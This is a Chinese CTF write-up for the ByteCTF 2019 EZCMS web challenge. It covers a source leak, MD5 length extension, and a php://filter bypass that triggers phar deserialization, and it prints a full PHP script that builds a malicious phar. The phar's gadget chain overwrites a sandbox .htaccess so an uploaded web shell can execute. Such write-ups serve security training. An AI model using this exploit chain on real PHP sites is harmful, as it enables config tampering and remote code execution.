zoukankan      html  css  js  c++  java
  • 刷题记录:[ByteCTF 2019]EZCMS

    刷题记录:[ByteCTF 2019]EZCMS

    题目复现链接:https://buuoj.cn/challenges
    参考链接:ByteCTF_2019&XNUCA_2019部分web题复现

    一、知识点

    1、源码泄露

    访问www.zip获取源码

    2、MD5长度扩展攻击

    之前涉及过了

    3、php://filter绕过正则实现phar反序列化

    就算知道是这个思路,自己也做不出来。。。
    这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
    首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的过滤是可以绕过的,最后访问phar://时可以访问php://filter/resource=phar://

    最后的phar脚本如下

    <?php
    
    class File{
    
        public $filename;
        public $filepath;
        public $checker;
    
        function __construct()
        {
            // $this->checker=new Admin();
            $this->checker=new Profile();
    
        }
    
    }
    
    class Profile{
        public $username;
        public $password;
        public $admin;
    
        function __construct()
        {
            $this->admin = new ZipArchive();
            $this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
            $this->password = ZipArchive::OVERWRITE;
        }
    
        function __call($name, $arguments)
        {
            $this->admin->open($this->username, $this->password);
        }
    }
    
    $a = new File('Lethe','Lethe');
    @unlink("1.phar");
    $phar = new Phar("1.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    
  • 相关阅读:
    洛谷 P6622
    洛谷 P6619
    LOJ 3188
    CF::Gym 102174G
    eJOI2017~2019
    洛谷 P6313
    洛谷 P6305
    JSOI2020 酱油记
    洛谷 P6234
    CodeForces 1334F
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11530514.html
Copyright © 2011-2022 走看看